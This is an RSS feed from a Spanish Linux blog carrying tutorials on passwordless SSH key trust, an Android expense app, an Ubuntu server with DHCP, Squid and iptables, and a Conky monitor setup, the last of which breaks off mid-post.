<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>vive-libre.com</title>
	<atom:link href="http://vive-libre.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://vive-libre.com/blog</link>
	<description></description>
	<lastBuildDate>Mon, 04 Jul 2011 03:13:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>How to: Como Establecer una Relación de Confianza entre Servidores Unix</title>
		<link>http://vive-libre.com/blog/2011/07/04/how-to-como-establecer-una-relacion-de-confianza-entre-servidores-unix/</link>
		<comments>http://vive-libre.com/blog/2011/07/04/how-to-como-establecer-una-relacion-de-confianza-entre-servidores-unix/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 03:13:00 +0000</pubDate>
		<dc:creator>yovany</dc:creator>
				<category><![CDATA[UBUNTU]]></category>

		<guid isPermaLink="false">http://vive-libre.com/blog/?p=177</guid>
		<description><![CDATA[En pocas palabras, una relación de confianza nos permite acceder a un equipo remoto mediante ssh sin la necesidad de identificarnos dentro del equipo remoto de forma explicita. La utilidad de establecer una relación de confianza es muy variada no abarcaremos el tema de seguridad que implica ya que depende de la configuración y las ...]]></description>
			<content:encoded><![CDATA[<p>En pocas palabras, una relación de confianza nos permite acceder a un equipo remoto mediante ssh sin la necesidad de identificarnos dentro del equipo remoto de forma explicita.</p>
<p>La utilidad de establecer una relación de confianza es muy variada no abarcaremos el tema de seguridad que implica ya que depende de la configuración y las reglas de negocio de las plataformas y la forma en que se administran, pero en esencia es como darle las llaves de tu casa a una persona que sabes que es de <strong>confianza</strong> y como tal no necesita pedirte permiso para entrar.</p>
<p>Planteamos el siguiente escenario:</p>
<p>Tenemos dos equipo, el cliente que se autenticara en el host remoto mediante una relación de confianza.</p>
<p>Lo primero es generar un par de llaves, una publica y una privada mediante RSA, para ello ejecutaremos el siguiente comando en el equipo cliente:</p>
<pre lang="bash">
ssh-keygen -t rsa
</pre>
<p>La salida sera la siguiente, nos indicara que introduzcamos el nombre del archivo donde queremos se guarden las llaves, por defaul las generara en el directorio /home/yovany/.ssh con el nombre id_rsa</p>
<pre lang="bash">
Generating public/private rsa key pair.
Enter file in which to save the key (/home/yovany/.ssh/id_rsa):
 </pre>
<p>Dejamos vacío y presionamos enter.</p>
<p>Nos indicara que introduzcamos una clave, o presionemos enter para dejar vacío.</p>
<pre lang="bash">
Enter passphrase (empty for no passphrase):
 </pre>
<p>Dejamos vacío y presionamos enter.</p>
<p>Nos indicara que introduzcamos la misma clave de nuevo.</p>
<pre lang="bash">
Enter same passphrase again:
 </pre>
<p>Dejamos vacío y presionamos enter.</p>
<pre lang="bash">
Your identification has been saved in /home/yovany/.ssh/id_rsa.
Your public key has been saved in /home/yovany/.ssh/id_rsa.pub.
The key fingerprint is:
03:52:33:27:13:62:a1:f8:c8:76:6d:c3:fe:51:bd:aa yovany@melchor
 </pre>
<p>En este momento ya tenemos generadas las llaves, que son las que otorgaremos al equipo remoto para identificarnos. </p>
<p>Lo siguiente es registrar las llaves publicas dentro del host remoto, para ello hay que copiar las llaves que generamos en /home/yovany/.ssh/id_rsa.pub</p>
<p>La llave pública se debe de copiar al equipo remoto  en la carpeta oculta .ssh del home del usuario con el que accederemos al equipo, (en nuestro caso el Home del usuario alan, ya sea mediante ftp ,samba,  usb o cual sea la forma en que compartamos archivos con el equipo remoto)</p>
<p>Nos ubicamos en el directorio en donde copiamos las llaves, en el equipo remoto.</p>
<pre lang="bash">
/home/alan/.ssh/
</pre>
<p>Agregamos las llaves públicas al archivo  authorized_keys, si el archivo no existe se generara</p>
<pre lang="bash">
cat id_rsa.pub >> authorized_keys
</pre>
<p>Y con esto estará disponible la relación de confianza.</p>
]]></content:encoded>
			<wfw:commentRss>http://vive-libre.com/blog/2011/07/04/how-to-como-establecer-una-relacion-de-confianza-entre-servidores-unix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programando en Android: Código fuente SuperList</title>
		<link>http://vive-libre.com/blog/2011/05/16/programando-en-android-codigo-fuente/</link>
		<comments>http://vive-libre.com/blog/2011/05/16/programando-en-android-codigo-fuente/#comments</comments>
		<pubDate>Mon, 16 May 2011 04:36:54 +0000</pubDate>
		<dc:creator>yovany</dc:creator>
				<category><![CDATA[ANDROID]]></category>
		<category><![CDATA[CODIGO]]></category>
		<category><![CDATA[MANUALES]]></category>

		<guid isPermaLink="false">http://vive-libre.com/blog/?p=162</guid>
		<description><![CDATA[El auge que han tenido los telefono inteligentes a partir de la salida del sistema operativo de Google  para móviles ha llevado a generara un nuevo mercado de aplicaciones, y la comunidad de desarrolladores lo ha adoptado rapidamente pero como es común cada vez que sale una nueva tecnologia es difícil encontrar información y mucho mas encontrar ejemplos de implementaciones de la misma, por ...]]></description>
			<content:encoded><![CDATA[<p>El auge que han tenido los telefono inteligentes a partir de la salida del sistema operativo de Google  para móviles ha llevado a generara un nuevo mercado de aplicaciones, y la comunidad de desarrolladores lo ha adoptado rapidamente pero como es común cada vez que sale una nueva tecnologia es difícil encontrar información y mucho mas encontrar ejemplos de implementaciones de la misma, por este motivo quiero compartir con ustedes el código fuente de un proyecto que  inicie con la intención de aprender y entender esta nueva tecnologia.<br />
Este proyecto consiste en una aplicación para llevar el control de gastos a traves de listas de gastos, la idea es generar una lista de gastos con un presupuesto y agregar gastos a la lista actualizando el monto disponible de nuestro presupuesto.</p>
<p>Como verán no es nada muy sofisticado pero les puede ayudar a entender de forma aplicada el uso de listas dinámicas, acceso a la base de datos, persistencia de datos y otros detalles generales de la programación en android.</p>
<p>Cabe mencionar que este código es claramente perfectible ya que solo busco dar a conocer los conceptos básicos del desarrollo de aplicaciones en Android y no las mejores practicas, por lo que se aceptan sugerencias y comentarias así como aportes, todo siempre es bienvenido.</p>
<p>Les dejo un video de la aplicación  y link de descarga.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/3hkI5xcav1U?hl=es&amp;fs=1" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/3hkI5xcav1U?hl=es&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vive-libre.com/blog/wp-content/uploads/2011/05/SuperList3.zip">SuperList3</a></p>
]]></content:encoded>
			<wfw:commentRss>http://vive-libre.com/blog/2011/05/16/programando-en-android-codigo-fuente/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configuracion de Ubuntu Server 8.10: DHCP + Squid + Iptables</title>
		<link>http://vive-libre.com/blog/2009/03/03/configuracion-de-ubuntu-server-810-dhcp-squid-iptables/</link>
		<comments>http://vive-libre.com/blog/2009/03/03/configuracion-de-ubuntu-server-810-dhcp-squid-iptables/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 06:00:11 +0000</pubDate>
		<dc:creator>yovany</dc:creator>
				<category><![CDATA[ALL]]></category>
		<category><![CDATA[MANUALES]]></category>
		<category><![CDATA[UBUNTU]]></category>

		<guid isPermaLink="false">http://vive-libre.com/blog/?p=4</guid>
		<description><![CDATA[Después de instalar un servidor con Ubuntu Server en este caso 8.10, lo que normalmente necesitamos es proveer de servicio de internet y con ello establecer ciertas reglas para controlar el acceso a ciertas paginas, para mantener fluido el trafico de nuestra red, el primer paso seria configurar el servidorDHCP, para asignar las ip automaticamente. Para ...]]></description>
			<content:encoded><![CDATA[<p>Después de instalar un servidor con Ubuntu Server en este caso 8.10, lo que normalmente necesitamos es proveer de servicio de internet y con ello establecer ciertas reglas para controlar el acceso a ciertas paginas, para mantener fluido el trafico de nuestra red, el primer paso seria configurar el servidorDHCP, para asignar las ip automaticamente.</p>
<p>Para este caso en particular tomaremos de referencia la sigiente informacion</p>
<p><a href="http://vive-libre.com/blog/wp-content/uploads/2011/05/red.jpg"><img class="size-medium wp-image-15 aligncenter" title="red" src="http://vive-libre.com/blog/wp-content/uploads/2011/05/red-300x198.jpg" alt="" width="300" height="198" /></a></p>
<p>Direccion de red interna:  192.168.2.0/24<br />
Interface con salida a internet: eth0<br />
Interface conectada a la red interna: eth1<br />
Ip de eth1: 192.168.2.1<br />
Ip de eth0: 192.168.1.100<br />
En este caso salimos a internet por medio de un modem 2wire de Telmex, aunque esto no importa demasiado, solo es para referencia.<br />
Lo primero que debemos da hacer es configurar las ip estaticas, como estamos usando una version de servidor asumimos que no tenemos interface grafica asi que nuestro editor de archivos sera VI , pero pueden usar el que mas les acomode.<br />
En vi hay dos modos de trabajo edicion y comandos, para edita un archivo hay que presionar la tecla [insert] para salir del modo de edicion y pasar a comandos presionamos la tecla [esc]  si queremos guardar el archivo entramos a modo de comandos y tecleamos :w si queremos salir es :q si queremos guardar y salir :wq para forzar cualquier accion agregamos el ! forzar el guardar :w! o forzar la salida :q!</p>
<pre lang="bash">sudo apt-get install vim</pre>
<pre lang="bash">sudo vi /etc/network/interfaces</pre>
<p>Ahi pondremos esto</p>
<pre lang="bash"># This file describes the network interfaces available on your system# and how to activate them. For more information, see interfaces(5).
# The loopback network
interface auto lo iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.254
dns-nameservers 192.168.1.254
auto eth1
iface eth1 inet static
address 192.168.2.1
netmask 255.255.255.0</pre>
<p>Que significa esto?<br />
Esto nos inidica cual es la interface de loopback nada interesante</p>
<pre lang="bash"># This file describes the network interfaces available on your system# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto loiface lo inet loopback</pre>
<p>Se define la configuracion para eth0 que es la tarjeta que nos conectara a internet</p>
<pre lang="bash"># The primary network interface</pre>
<pre lang="bash">auto eth0</pre>
<p>Aqui indicamos que la direccion es de tipo estatico</p>
<pre lang="bash">iface eth0 inet static</pre>
<p>La variable addres  es una ip del rango que nos asigna el modem para salir a internet</p>
<pre lang="bash">address 192.168.1.100
netmask 255.255.255.0</pre>
<p>La red por defecto</p>
<pre lang="bash">network 192.168.1.0
broadcast 192.168.1.255</pre>
<p>Es la puerta de enlace que nos da salida a internet</p>
<pre lang="bash">gateway 192.168.1.254</pre>
<p>Y los DNS en este caso usamos el mismo modem para que nos resuelva hacia internet, esto datos cambian segun la configuracion de la red que les da salida a internet</p>
<pre lang="bash">dns-nameservers 192.168.1.254</pre>
<p>Esta es la configuracion de la tarjeta de red a la que se conectara la red interna, solo hay que indicar la direccion IP y mascara, ya que nos conectaremos a internet por la otra tarjeta de red.</p>
<pre lang="bash">auto eth1
iface eth1 inet static</pre>
<pre lang="bash">address 192.168.2.1
netmask 255.255.255.0</pre>
<p>Para que cargue la nueva configuracion reiniciaremos los servicio de red</p>
<pre lang="bash">sudo /etc/init.d/networking restart</pre>
<p>Si todo esta bien configurado veremos algo como esto</p>
<pre lang="bash">* Reconfiguring network interfaces...
* if-up.d/mountnfs[eth0]: waiting for interface eth1 before doing NFS mounts[ OK ]</pre>
<p>El siguiente paso es configurar el DHCP, para asignar las direcciones ip de forma automatica, para esto usaremos dhcp3-server</p>
<pre lang="bash">sudo apt-get install dhcp3-server</pre>
<p>Primero hay que indicar en que interface de red es donde va a escuchar para eso editamos el siguiente archivo</p>
<pre lang="bash">sudo vi /etc/default/dhcp3-server</pre>
<p>En nuestro caso la tarjeta que va a proveer el servicio es la eth1 que va a la red interna</p>
<pre lang="bash"># Defaults for dhcp initscript# sourced by /etc/init.d/dhcp# installed at /etc/default/dhcp3-server by the maintainer scripts
## This is a POSIX shell fragment#
# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?#       Separate multiple interfaces with spaces, e.g. "eth0 eth1".INTERFACES="eth1"</pre>
<p>Ahora hay que configurar el dhcp, en el siguiente archivo.</p>
<pre lang="bash">sudo vi /etc/dhcp3/dhcpd.conf</pre>
<p>Tendremos un muy extenso archivo de configuracion de lo cual solo nos servira lo siguiente, lo demas lo podemos eliminar</p>
<pre lang="bash">ddns-update-style interim;
authoritative;
subnet 192.168.2.0
netmask 255.255.255.0
range 192.168.2.100 192.168.2.200;
option domain-name-servers 192.168.1.254;
option routers 192.168.2.1;
option broadcast-address 192.168.2.255;
default-lease-time 36000;
max-lease-time 180000;</pre>
<p>Empezamos por definir sobre que red se va atrabajar y la mascara</p>
<pre lang="bash">ddns-update-style interim;
authoritative;
subnet 192.168.2.0
netmask 255.255.255.0</pre>
<p>Indicamos el rando de direcciones que deseamos que asigne en este caso asiganras desdela ip 192.168.2.100 hasta la ip 192.168.2.200</p>
<pre lang="bash">range 192.168.2.100 192.168.2.200;</pre>
<p>Indicamos los DNS</p>
<pre lang="bash">option domain-name-servers 192.168.1.254;</pre>
<p>La puerta de enlace, en este caso el servidor ubuntu, ya que todas las maquinas de la red se conectaran a nosotros para proveerlos de internet.</p>
<pre lang="bash">option routers 192.168.2.1;</pre>
<p>Estos son los valores que en dado caso se tendrian que modificar segun su configuracion de red. Solo quedaria reiniciar el servicio de DHCP</p>
<pre lang="bash">sudo /etc/init.d/dhcp3-server restart</pre>
<p>Si todo esta bien obtendremos esto</p>
<pre lang="bash">* Stopping DHCP server dhcpd3                                           [ OK ]* Starting DHCP server dhcpd3                                            [ OK ]</pre>
<p>Ahora instalaremos el proxy, en este caso Squid</p>
<pre lang="bash">sudo apt-get install squid</pre>
<p>Es muy importante para poder compartir el internet tener activado al Froward, para esto crearemos un archivo que se ejecutara al inicio del arranque donde tambien se cargaran las iptables, ya que estas configuraciones, se pierden cada vez que se apaga el equipo, este archivo se llamara iptables.cf, o como gusten llamarle</p>
<pre lang="bash">
sudo vi /etc/init.d/iptables.cf
</pre>
<p>Y pondremos lo siguiente</p>
<pre lang="bash">
iptables -X
iptables -Z
iptables -t nat -F
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -t nat -P PREROUTING ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -s 192.168.2.0/24 -d ! 192.168.2.0/24 -p tcp --dport 80 -j REDIRECT --to-port 3128
iptables -A INPUT -s 192.168.2.0/24 -i eth1 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 993 -j ACCEPTiptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 110 -j ACCEPTiptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 465 -j ACCEPTiptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 25 -j ACCEPTiptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 80 -j ACCEPTiptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 443 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 53 -j ACCEPTiptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p udp --dport 53 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>
<p>Que es esto?<br />
Las iptables nos ayudaran a decidir que dejar pasar por la red y por donde dejarlo pasar, en este caso, solo configuraremos las iptables para que nos redireccionen todo el del puerto 80 hacia el puerto 3128 que es el puerto del squid, para que no tengamos que configurar el proxy en todas las maquinas :D, y ya que compartimos el internet enmascaramos todo lo que venga de la red interna y que saldra por la interface eth0, permitiremos tambien el forward para el dhcp y tambien para el correo, para no tener problemas con los clientes de correo.<br />
Borramos las reglas que se esten ejecuntando</p>
<pre lang="bash">iptables -X
iptables -Z
iptables -t nat -F</pre>
<p>Aceptamos coneciones saliente, entrantes, el forward, prerouting y postrouting</p>
<pre lang="bash">iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -t nat -P PREROUTING ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
</pre>
<p>Esta es una configuracion muy basica asi que por el momento no nos preocuparemos por el tema de la seguridad (eso es otro HowTo)<br />
Habilitamos el enmascaramiento, para que la red interna pueda salir a internet por la conexion del server</p>
<pre lang="bash">
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -o eth0 -j MASQUERADE
</pre>
<p>Activamos el redireccionamiento para el proxy tranparente, tambien indicamos que lo redireccionaremos siempre y cuando el destino no sea una direccion dentro de la misma red, digase servidores web locales todo lo demas al proxy</p>
<pre lang="bash">
iptables -t nat -A PREROUTING -s 192.168.2.0/24 -d ! 192.168.2.0/24 -p tcp --dport 80 -j REDIRECT --to-port 3128
</pre>
<p>Habilitamos el forward para los puertos especificos de correo y dhcp,  pop,  imap, simap, smtp, ssmtp y dhcp</p>
<pre lang="bash">
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 993 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 110 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 465 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 25 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 80 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 443 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p tcp --dport 53 -j ACCEPT
iptables -A FORWARD -s 192.168.2.0/24 -i eth1 -p udp --dport 53 -j ACCEPT
</pre>
<p>Y por ultimo habilitamos el forward</p>
<pre lang="bash">
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>
<p>Con esto es mas que suficiente, ahora hay que darle permisos de ejecucion</p>
<pre lang="bash">sudo chmod a+x /etc/init.d/iptables.cf</pre>
<p>Ahora para que se ejecute al arranque instalaremos un pequeño programa que nos ayuda a configurar los archivos que se ejecutan al iniciar el sistema</p>
<pre lang="bash">sudo apt-get install rcconf</pre>
<p>y lo ejecutaremos con</p>
<pre lang="bash">sudo rcconf</pre>
<p>&nbsp;</p>
<p><a href="http://vive-libre.com/blog/wp-content/uploads/2011/05/rcconf.jpeg"><img class="size-medium wp-image-65 aligncenter" title="rcconf" src="http://vive-libre.com/blog/wp-content/uploads/2011/05/rcconf-300x294.jpg" alt="" width="300" height="294" /></a></p>
<p>Veran esta pantalla solo hay que marcar el iptables.cf y todo listo si nececitan correr un archivo al arranque solo concedanle permisos y de la misma forma  : D.</p>
<p>Ahora hay que configurar el Squid, para eso editaremos el siguiente archivo.</p>
<pre lang="bash">http_port 3128 transparent
cache_mem 16 MB
cache_dir ufs /var/spool/squid 700 16 256
ie_refresh on
offline_mode on
acl all src 0.0.0.0/0.0.0.0
acl red_local src 192.168.2.0/24
acl plus src "/etc/squid/plus.lst"
acl sites url_regex "/etc/squid/sites.lst"
acl files url_regex -i .exe .flv .mp4 .mp3 .avi .wma .mov .acc .wav .bat .asf .mpeg .3gp .swf
acl localhost src 127.0.0.1/255.255.255.255
http_access deny red_local !plus sites
http_access deny red_local !plus files
http_access allow red_local
http_access allow localhost
http_access deny all</pre>
<p>Para que esto funciones habremos de crear dos archivos, uno donde se guardaran las paginas que deseamos bloquear, y otro donde tendremos una lista de las ip que  tendran derechos privilegiados :D</p>
<pre lang="bash">vi /etc/squid/sites.lst</pre>
<p>Aqui pondremos las paginas bloqueadas, esta es mi lista, algunas paginas de video redes sociales, mensageros web etc.</p>
<pre lang="bash">hi5.com
www.metroflog.com
mx.youtube.com
es.youtube.com
www.youtube.com.us
www.youtube.com
www.youtube.com.mx
www.dailymotion.com
www.tu.tv
www.ebuddy.com
www.meebo.com
webmessenger.msn.com
www.webmessenger.msn.com
www.iloveim.com
www.spacelive.com
home.spaces.live.com/
www.myspace.com/
spaces.live.com/
www.radiusim.com/
www.messengerfx.com
messengerfx.com/
www.facebook.com/
fulltono.com/
www.fulltono.com/
rapidshare.com
megaupload.com
www.veoh.com/
www.megavideo.com/
www.proxybutton.com/
www.videoblogs.com/
video.google.com/
imo.imwww.koolim.com/
koolim.com/
voltv.es/
www.imhaha.com
imhaha.comproxify.com/
www.proxify.com/
www.megaclick.com/
www.myproxy.com
www.blogger.com/
cbox.wsmegaclilck.com/
facebook.com/
youporn.com
www.lajaula.net
www.alianzo.com
www.goear.com
www.zshare.com
zshare.net
skydrive.live.com</pre>
<p>Y sigue la lista de direcciones privilegiadas</p>
<pre lang="bash">sudo vi /etc/squid/plus.lst</pre>
<p>Y agregamos las ip que deseemos</p>
<pre lang="bash">192.168.2.150
192.168.2.135</pre>
<p>Ahora regresando al archivo de configuracion del squid<br />
Indicamos que por el puerto 3128 escucharemos y que sera proy tranparente</p>
<pre lang="bash">http_port 3128 transparent</pre>
<p>Estos valores dejarlos tal cual</p>
<pre lang="bash">cache_mem 16 MB
cache_dir ufs /var/spool/squid 700 16 256
ie_refresh on
offline_mode on</pre>
<p>Las acl o definiciones de control de acceso, son las que nos permitiran hacer referencias hacia ciertos elementos ya sea ip, direciones etc<br />
La definicion all indica un origen definido por todo el rango de direciones ip</p>
<pre lang="bash">acl all src 0.0.0.0/0.0.0.0</pre>
<p>La siguiente definicion hace referencia al conjunto de ip comprendidas dentro de nuestra red</p>
<pre lang="bash">acl red_local src 192.168.2.0/24</pre>
<p>La definicion plus hace referencia alas ip que se encuentran listadas dentro del archivo que creamos</p>
<pre lang="bash"> acl plus src "/etc/squid/plus.lst"</pre>
<p>La definicion sites hace referencia ala lista de sitios restringidos</p>
<pre lang="bash"> acl sites url_regex "/etc/squid/sites.lst"</pre>
<p>La definicion files es un conjunto de extenciones las cuales se van a restringir para su descarga, hay que tener un poco de cuidado, por ejemplo los archivos .bin pueden ser desde binarios de linux, como imagenes de cd o archivos comprimidos, si añaden esa extencion se daran cuenta que las busquedas de google desencadenaran el bloqueo del proxy y no les dejara buscar nada, ya que dentro de la url de la busqueda se generan este tipo de extenciones, la cadena .mp bloquea el yahoo mail, asi que sehan cuidadosos es este sentido, y evitense dolores de cabeza.</p>
<pre lang="bash">acl files url_regex -i .exe .flv .mp4 .mp3 .avi .wma .mov .acc .wav .bat .asf .mpeg .3gp .swf</pre>
<p>Y por ultimo la definicion del loopback</p>
<pre lang="bash"> acl localhost src 127.0.0.1/255.255.255.255</pre>
<p>Ahora ay que generar las reglas, para permitir o denegar el acceso usamos http_acces despues la accion deny o allow aquien se lo vamos a aplicar y que le vamos a restringir<br />
Aqui denegamos a todas las direciones de la red que sean diferente a las definidas en la lista plus los sitios definidos por la lista sites</p>
<pre lang="bash"> http_access deny red_local !plus sites</pre>
<p>De igual forma denegamos a todas las ip de la red local que sean diferentes a las definidas por la lista plus el acceso a los archivo definidos en la lista files</p>
<pre lang="bash"> http_access deny red_local !plus files</pre>
<p>Muy importante todas las reglas siempre deben de ir antes de estas ultimas de lo contrario el proxy aparentara que no esta funcionando, ya que las reglas llevan un orden de ejecucion</p>
<pre lang="bash">
http_access allow red_local
http_access allow localhost
http_access deny all
</pre>
<p>Cada vez que se haga un cambio en las reglas habra que reiniciara el servicio, esto interrunpuria todo el trafico que este pasando por el proxy, hasta que recargue el servcio  segun la velocidad del servidor y la carga de trafico unos 20 o 30 segundo.<br />
Espero sea de utilidad, y como siempre espero sus comentarios, criticas y chiste.<br />
Pd. este post fue motivado por algunas dudas de los amigos del foro de Byte.<br />
Asi que esto es todo<br />
Byte.</p>
]]></content:encoded>
			<wfw:commentRss>http://vive-libre.com/blog/2009/03/03/configuracion-de-ubuntu-server-810-dhcp-squid-iptables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mini How-to de configuracion de: Conky, El monitor&#8230;</title>
		<link>http://vive-libre.com/blog/2008/10/10/mini-how-to-de-configuracion-de-conky-el-monitor/</link>
		<comments>http://vive-libre.com/blog/2008/10/10/mini-how-to-de-configuracion-de-conky-el-monitor/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 17:23:42 +0000</pubDate>
		<dc:creator>yovany</dc:creator>
				<category><![CDATA[ALL]]></category>
		<category><![CDATA[CODIGO]]></category>
		<category><![CDATA[MANUALES]]></category>
		<category><![CDATA[UBUNTU]]></category>
		<category><![CDATA[ANDROID]]></category>

		<guid isPermaLink="false">http://vive-libre.com/blog/?p=104</guid>
		<description><![CDATA[sudo apt-get install conky El archivo de configuración .conkyrc se localiza en el directorio personal, como pueden notar al tener el punto antes del nombre nos indica que es un archivo oculto, ahora vamos a ver el siguiente ejemplo: Este es el mio: Y este es el codigo alignment top_right background no cpu_avg_samples 2 net_avg_samples ...]]></description>
			<content:encoded><![CDATA[<pre lang="bash">
sudo apt-get install conky
</pre>
<p>El archivo de configuración .conkyrc se localiza en el directorio personal, como pueden notar al tener el punto antes del nombre nos indica que es un archivo oculto, ahora vamos a ver el siguiente ejemplo:</p>
<p>Este es el mio:</p>
<p style="text-align: center;"><a href="http://vive-libre.com/blog/wp-content/uploads/2011/05/conky.jpg"><img class="aligncenter size-medium wp-image-107" title="conky" src="http://vive-libre.com/blog/wp-content/uploads/2011/05/conky-91x300.jpg" alt="" width="91" height="300" /></a></p>
<p>Y este es el codigo</p>
<pre lang="bash">

alignment top_right

background no

cpu_avg_samples 2
net_avg_samples 2
update_interval 1

default_color white
default_shade_color black
default_outline_color blue

draw_borders no
draw_shades no

border_margin 1
border_width 1

gap_x 20
gap_y 20

minimum_size 200
maximum_width 200

override_utf8_locale yes
use_xft yes
xftfont Terminus:size=8
xftalpha 0.8

own_window yes
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager

use_spacer yes
double_buffer yes
no_buffers yes

TEXT
${color #ffffff}${font Zekton:style=Bold:pixelsize=30}${alignc}${time %H:%M:%S}
${color #FFCC66}${font Zekton:style=Bold:pixelsize=12}${alignc}${time %A %d de %B}
${color #33CCFF}${font weather:size=60}${execi 600 ~/scripts/conditions.sh}${alignc}${font}${execi 1200 ~/scripts/pogodynka.sh}
${color}${font StyleBats:size=14}O ${font}${color #0077ff}Encendido: ${color }$uptime
${color }${font StyleBats:size=14}Q ${font}${color #0077ff}Kernel:${color }$kernel
${color}${font StyleBats:size=14}A ${font}${color #00FF99}CPU-1:${color } ${cpu cpu0}%
${cpugraph cpu0 20,200 ff0000 0000ff}
${color}${font StyleBats:size=14}A ${font}${color #00FF99}CPU-2:${color } ${cpu cpu1}%
${cpugraph cpu1 20,200 ff0000 0000ff}
${color}${font StyleBats:size=14}A ${font}${color #00FF99}CPU-3:${color } ${cpu cpu2}%
${cpugraph cpu2 20,200 ff0000 0000ff}
${color}${font StyleBats:size=14}8 ${font}${color #FF3333}TOP CPU:
${color #ddaa00} ${top name 1}${top cpu 1}
${color lightgrey} ${top name 2}${top cpu 2}
${color lightgrey} ${top name 3}${top cpu 3}
${color}${font StyleBats:size=14}8 ${font}${color #FF3333}TOP MEM:
${color #ddaa00} ${top_mem name 1}${top_mem mem 1}
${color lightgrey} ${top_mem name 2}${top_mem mem 2}
${color lightgrey} ${top_mem name 3}${top_mem mem 3}

${color #0077ff}MEM:  ${color } $memperc% $mem/$memmax
${membar 4,200}
${color #0077ff}SWAP: ${color } $swapperc% $swap/$swapmax
${swapbar 4,200}
${color #0077ff}ROOT:  ${color }${fs_free /}/${fs_size /}
${fs_bar 4,200 /}
${color #0077ff}SDA1:  ${color }${fs_free /media/sda1}/${fs_size /media/sda1}
${fs_bar 4,200 /media/sda1}
${color #0077ff}SDA5:  ${color }${fs_free /media/sda5}/${fs_size /media/sda5}
${fs_bar 4,200 /media/sda5}

${color #0077ff}WIFI: ${color #888888}IP: ${color #CCCCCC}${addr eth1}
${color #0077ff}Senal: ${color }${wireless_link_qual_perc eth1} ${wireless_link_bar 4 eth1}
${color #0077ff}DOWN: ${color #CCCCCC}${downspeed eth1} k/s          ${color #0077ff}UP: ${color #CCCCCC}${upspeed eth1} k/s
${color #888888}${downspeedgraph eth1 25,90 ff0000 0000ff}${alignr}${color #888888}${upspeedgraph eth1 25,90 0000ff ff0000}
${color #0077ff}TOTAL: ${color #CCCCCC}${totaldown eth1}           ${color #0077ff}TOTAL: ${color #CCCCCC}${totalup eth1}
</pre>
<p>Lo primero que hay que hacer es lo siguiente, como podrán ver el conky tiene unas imagenes en los monitores como iconos, estas solo letras de fuentes especiales entonces instalaremos estas fuentes en nuestro sistema las fuentes a usar son weather y  StyleBats, las encuentran <a title="Fuentes" href="http://www.vive-libre.com/blog/etc/Fuentes.tar.gz" target="_blank">[aqui] </a></p>
<p>Hay que desempaquetar y copiar las fuentes al directorio correspondiente</p>
<pre lang="bash">
 tar -xzf Fuentes.tar.gz
</pre>
<p>Nos cambiamos al directorio que acabamos de crear y copiamos las fuentes a una carpeta que crearemos que se llamara misfuentes</p>
<pre lang="bash">
cd Fuentes
sudo mkdir /usr/share/fonts/truetype/misfuentes
sudo cp weather.ttf StyleBats.ttf PizzaDude\ Bullets.ttf /usr/share/fonts/truetype/misfuentes
</pre>
<p>Le indicamos al sistema que actualice las fuentes</p>
<pre lang="bash">
fc-cache -f -v
</pre>
<p>Para poder ver el estado del clima en el conky vamos a usar los siguientes script:</p>
<p>Ahora veremos la configuración de Conky, en lo que se refiere a comportamiento y características del sistema.</p>
<pre lang="bash">
